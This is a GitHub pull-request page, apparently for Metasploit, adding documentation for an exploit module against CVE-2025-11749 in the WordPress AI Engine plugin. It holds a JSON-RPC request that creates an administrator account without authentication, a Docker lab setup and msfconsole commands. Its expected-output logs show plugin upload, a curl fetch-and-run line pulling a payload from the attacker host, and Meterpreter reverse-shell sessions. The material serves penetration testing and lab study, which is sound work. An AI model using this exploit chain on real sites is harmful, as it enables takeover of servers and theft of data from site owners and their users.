-
Notifications
You must be signed in to change notification settings - Fork 14.6k
Add WordPress AI Engine MCP RCE exploit (CVE-2025-11749) #20720
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Merged
+491
−0
Merged
Changes from all commits
Commits
Show all changes
7 commits
Select commit
Hold shift + click to select a range
080230e
Add WordPress AI Engine MCP RCE exploit (CVE-2025-11749)
Chocapikk 1a93bf7
Update disclosure date to 2025-11-04
Chocapikk 2b71c84
Improve code quality: simplify methods, use dig, compile regex, remov…
Chocapikk 4d24789
Make USERNAME, PASSWORD, and EMAIL datastore options required
Chocapikk b1b4101
Use CheckCode constants instead of string comparison in check method
Chocapikk 0ccffdd
Fix wp_ai_engine_mcp_rce: handle existing users by updating password …
Chocapikk 296e931
Fix WordPress lab permissions in documentation
Chocapikk File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -1,3 +1,4 @@ | ||
| ai-engine | ||
| ajax-load-more | ||
| all-in-one-wp-migration | ||
| backup | ||
|
|
||
198 changes: 198 additions & 0 deletions
198
documentation/modules/exploit/multi/http/wp_ai_engine_mcp_rce.md
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,198 @@ | ||
| ## Vulnerable Application | ||
|
|
||
| This Metasploit module exploits an unauthenticated remote code execution vulnerability in the WordPress AI Engine plugin | ||
| (versions <= 3.1.3) (CVE-2025-11749). The vulnerability allows unauthenticated attackers to create administrator accounts | ||
| and achieve remote code execution by exploiting the MCP (Model Context Protocol) functionality when `mcp_noauth_url` is enabled. | ||
|
|
||
| ## Vulnerability Analysis | ||
|
|
||
| The plugin registers REST API routes under `/wp-json/mcp/v1/{token}/sse` where `{token}` is a bearer token. When `mcp_noauth_url` | ||
| is enabled, these endpoints accept requests without verifying the `Authorization` header, allowing unauthenticated access | ||
| to WordPress core functions. | ||
|
|
||
| The attacker can enumerate the token by querying `/wp-json/mcp/v1/` or `/?rest_route=/mcp/v1/` (both methods work). | ||
| The token is exposed in route paths like `/mcp/v1/{TOKEN}/sse`. Once discovered, JSON-RPC requests can be sent to call | ||
| `wp_create_user` via either endpoint: | ||
|
|
||
| ```http | ||
| POST /wp-json/mcp/v1/{TOKEN}/sse HTTP/1.1 | ||
| Content-Type: application/json | ||
|
|
||
| { | ||
| "jsonrpc": "2.0", | ||
| "method": "tools/call", | ||
| "params": { | ||
| "name": "wp_create_user", | ||
| "arguments": { | ||
| "user_login": "attacker", | ||
| "role": "administrator" | ||
| } | ||
| } | ||
| } | ||
| ``` | ||
|
|
||
| The same request works via both endpoints: | ||
| - `/wp-json/mcp/v1/{TOKEN}/sse` (preferred) | ||
| - `/?rest_route=/mcp/v1/{TOKEN}/sse` (fallback when permalinks are not configured) | ||
|
|
||
| Once an administrator account is created, the attacker uploads a malicious plugin for code execution. | ||
|
|
||
| **Affected versions**: <= 3.1.3 (Fixed in 3.1.4) | ||
| **Prerequisites**: `module_mcp`, `mcp_core`, and `mcp_noauth_url` must be enabled | ||
|
|
||
| ## Docker Compose Configuration | ||
|
|
||
| ```yaml | ||
| services: | ||
| wordpress: | ||
| image: wordpress:6.3.2 | ||
| container_name: wp-ai-engine-lab | ||
| restart: always | ||
| ports: | ||
| - 5555:80 | ||
| environment: | ||
| WORDPRESS_DB_HOST: mysql | ||
| WORDPRESS_DB_USER: chocapikk | ||
| WORDPRESS_DB_PASSWORD: dummy_password | ||
| WORDPRESS_DB_NAME: exploit_market | ||
| volumes: | ||
| - wordpress:/var/www/html | ||
| - ./custom.ini:/usr/local/etc/php/conf.d/custom.ini | ||
| depends_on: | ||
| - mysql | ||
|
|
||
| mysql: | ||
| image: mysql:5.7 | ||
| container_name: wp-ai-engine-db | ||
| restart: always | ||
| environment: | ||
| MYSQL_DATABASE: exploit_market | ||
| MYSQL_USER: chocapikk | ||
| MYSQL_PASSWORD: dummy_password | ||
| MYSQL_RANDOM_ROOT_PASSWORD: '1' | ||
| volumes: | ||
| - db:/var/lib/mysql | ||
|
|
||
| volumes: | ||
| wordpress: | ||
| db: | ||
| ``` | ||
|
|
||
| Create `custom.ini`: | ||
|
|
||
| ```ini | ||
| upload_max_filesize = 64M | ||
| post_max_size = 64M | ||
| ``` | ||
|
|
||
| ## Setup Instructions | ||
|
|
||
| ```bash | ||
| docker compose up -d | ||
| sleep 5 | ||
| docker exec wp-ai-engine-lab bash -c "curl -O https://raw.githubusercontent.com/wp-cli/builds/gh-pages/phar/wp-cli.phar && chmod +x wp-cli.phar && mv wp-cli.phar /usr/local/bin/wp" | ||
| docker exec wp-ai-engine-lab wp core install --path='/var/www/html' --url='http://localhost:5555' --title='Exploit Market' --admin_user='admin' --admin_password='admin' --admin_email='[email protected]' --allow-root | ||
| docker exec wp-ai-engine-lab wp rewrite structure '/%postname%/' --path='/var/www/html' --allow-root | ||
| docker exec wp-ai-engine-lab wp rewrite flush --path='/var/www/html' --allow-root | ||
| docker exec wp-ai-engine-lab wp config set FS_METHOD direct --path='/var/www/html' --allow-root | ||
| docker exec wp-ai-engine-lab chown -R www-data:www-data /var/www/html/wp-content | ||
| docker exec -u www-data wp-ai-engine-lab wp plugin install ai-engine --version=3.1.3 --path='/var/www/html' --activate --force | ||
| BEARER_TOKEN=$(openssl rand -base64 32 | tr -d "=+/" | cut -c1-43) | ||
| docker exec -u www-data wp-ai-engine-lab wp option update mwai_options --format=json --path='/var/www/html' "{\"module_mcp\":true,\"mcp_core\":true,\"mcp_bearer_token\":\"${BEARER_TOKEN}\",\"mcp_noauth_url\":true}" | ||
| echo "Bearer Token: ${BEARER_TOKEN}" | ||
| ``` | ||
|
|
||
| ## Verification Steps | ||
|
|
||
| 1. Start the environment and complete setup | ||
| 2. Launch `msfconsole` and load the module: `use exploit/multi/http/wp_ai_engine_mcp_rce` | ||
| 3. Set `RHOSTS` to target IP (use Docker gateway IP for `LHOST`) | ||
| 4. Run the exploit: `run` | ||
|
|
||
| ## Options | ||
|
|
||
| * **TARGETURI**: The base path to WordPress (default: `/`) | ||
| * **TARGET**: Target type - `0` for PHP payload, `1` for Unix command payload (default: `0`) | ||
|
|
||
| ## Scenarios | ||
|
|
||
| ### PHP Payload | ||
|
|
||
| ```bash | ||
| use exploit/multi/http/wp_ai_engine_mcp_rce | ||
| set RHOSTS 127.0.0.1 | ||
| set RPORT 5555 | ||
| set TARGET 0 | ||
| set PAYLOAD php/meterpreter/reverse_tcp | ||
| set LHOST 172.25.0.1 | ||
| set LPORT 4444 | ||
| run | ||
| ``` | ||
|
|
||
| **Expected Results:** | ||
|
|
||
| ```plaintext | ||
| [*] Started reverse TCP handler on 172.25.0.1:4444 | ||
| [*] Running automatic check ("set AutoCheck false" to disable) | ||
| [*] Checking /wp-content/plugins/ai-engine/readme.txt | ||
| [*] Found version 3.1.3 in the plugin | ||
| [+] The target appears to be vulnerable. | ||
| [*] Acquired a plugin upload nonce: 3495f17050 | ||
| [*] Uploaded plugin wp_knzvu | ||
| [*] Sending stage (41224 bytes) to 172.25.0.3 | ||
| [+] Deleted ajax_rmteg.php | ||
| [+] Deleted wp_knzvu.php | ||
| [+] Deleted ../wp_knzvu | ||
| [*] Meterpreter session 1 opened (172.25.0.1:4444 -> 172.25.0.3:47914) at 2025-11-23 03:51:28 +0100 | ||
|
|
||
| meterpreter > sysinfo | ||
| Computer : e1450d69c5ef | ||
| OS : Linux e1450d69c5ef 6.14.0-115036-tuxedo #36~24.04.1tux1 SMP PREEMPT_DYNAMIC Mon Nov 3 17:34:07 UTC 2025 x86_64 | ||
| Architecture : x64 | ||
| System Language : C | ||
| Meterpreter : php/linux | ||
| ``` | ||
|
|
||
| ### Linux Meterpreter Payload | ||
|
|
||
| ```bash | ||
| use exploit/multi/http/wp_ai_engine_mcp_rce | ||
| set RHOSTS 127.0.0.1 | ||
| set RPORT 5555 | ||
| set TARGET 1 | ||
| set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp | ||
| set LHOST 172.25.0.1 | ||
| set LPORT 4445 | ||
| run | ||
| ``` | ||
|
|
||
| **Expected Results:** | ||
|
|
||
| ```plaintext | ||
| [*] Command to run on remote host: curl -so ./CwnRPcETYowu http://172.25.0.1:8080/YlsHR8ggI6Bd69-fK5zqBQ;chmod +x ./CwnRPcETYowu;./CwnRPcETYowu& | ||
| [*] Fetch handler listening on 172.25.0.1:8080 | ||
| [*] HTTP server started | ||
| [*] Adding resource /YlsHR8ggI6Bd69-fK5zqBQ | ||
| [*] Started reverse TCP handler on 172.25.0.1:4445 | ||
| [*] Running automatic check ("set AutoCheck false" to disable) | ||
| [*] Checking /wp-content/plugins/ai-engine/readme.txt | ||
| [*] Found version 3.1.3 in the plugin | ||
| [+] The target appears to be vulnerable. | ||
| [*] Acquired a plugin upload nonce: 89faa6adb3 | ||
| [*] Uploaded plugin wp_w6mpy | ||
| [*] Client 172.25.0.3 requested /YlsHR8ggI6Bd69-fK5zqBQ | ||
| [*] Sending payload to 172.25.0.3 (curl/7.74.0) | ||
| [*] Transmitting intermediate stager...(126 bytes) | ||
| [*] Sending stage (3090404 bytes) to 172.25.0.3 | ||
| [+] Deleted ajax_plv9z.php | ||
| [+] Deleted wp_w6mpy.php | ||
| [+] Deleted ../wp_w6mpy | ||
| [*] Meterpreter session 2 opened (172.25.0.1:4445 -> 172.25.0.3:59294) at 2025-11-23 03:53:03 +0100 | ||
|
|
||
| meterpreter > sysinfo | ||
| Computer : 172.25.0.3 | ||
| OS : Debian 11.8 (Linux 6.14.0-115036-tuxedo) | ||
| Architecture : x64 | ||
| BuildTuple : x86_64-linux-musl | ||
| Meterpreter : x64/linux | ||
| ``` | ||
Oops, something went wrong.
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
Uh oh!
There was an error while loading. Please reload this page.